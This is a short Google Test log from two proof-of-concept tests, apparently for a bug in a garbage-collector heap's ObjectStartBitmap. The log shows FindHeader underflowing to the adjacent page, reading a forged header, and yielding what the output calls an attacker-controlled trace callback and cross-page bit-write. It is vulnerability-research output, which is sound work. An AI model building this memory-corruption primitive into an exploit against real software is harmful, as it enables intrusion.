Note: Google Test filter = ObjectStartBitmap*POC*:ObjectStartBitmapPOC* [==========] Running 2 tests from 2 test suites. [----------] Global test environment set-up. [----------] 1 test from ObjectStartBitmapTest [ RUN ] ObjectStartBitmapTest.POC_FindHeaderUnderflowReturnsPageBaseMinus8 [POC] page_base = 0x7b82ea9e0000, FindHeader(empty bitmap) = 0x7b82ea9dfff8 (delta = -8) [ OK ] ObjectStartBitmapTest.POC_FindHeaderUnderflowReturnsPageBaseMinus8 (0 ms) [----------] 1 test from ObjectStartBitmapTest (0 ms total) [----------] 1 test from ObjectStartBitmapPOC [ RUN ] ObjectStartBitmapPOC.FindHeaderUnderflowReadsAdjacentPage [POC] adjacent-page header @ 0x7b82ea9dfff8 : GCInfoIndex=0x1337 FullyConstructed=1 ObjectStart=0x7b82ea9e0000 -> attacker controls trace callback selection and gets a cross-page bit-write [ OK ] ObjectStartBitmapPOC.FindHeaderUnderflowReadsAdjacentPage (0 ms) [----------] 1 test from ObjectStartBitmapPOC (0 ms total) [----------] Global test environment tear-down [==========] 2 tests from 2 test suites ran. (2 ms total) [ PASSED ] 2 tests.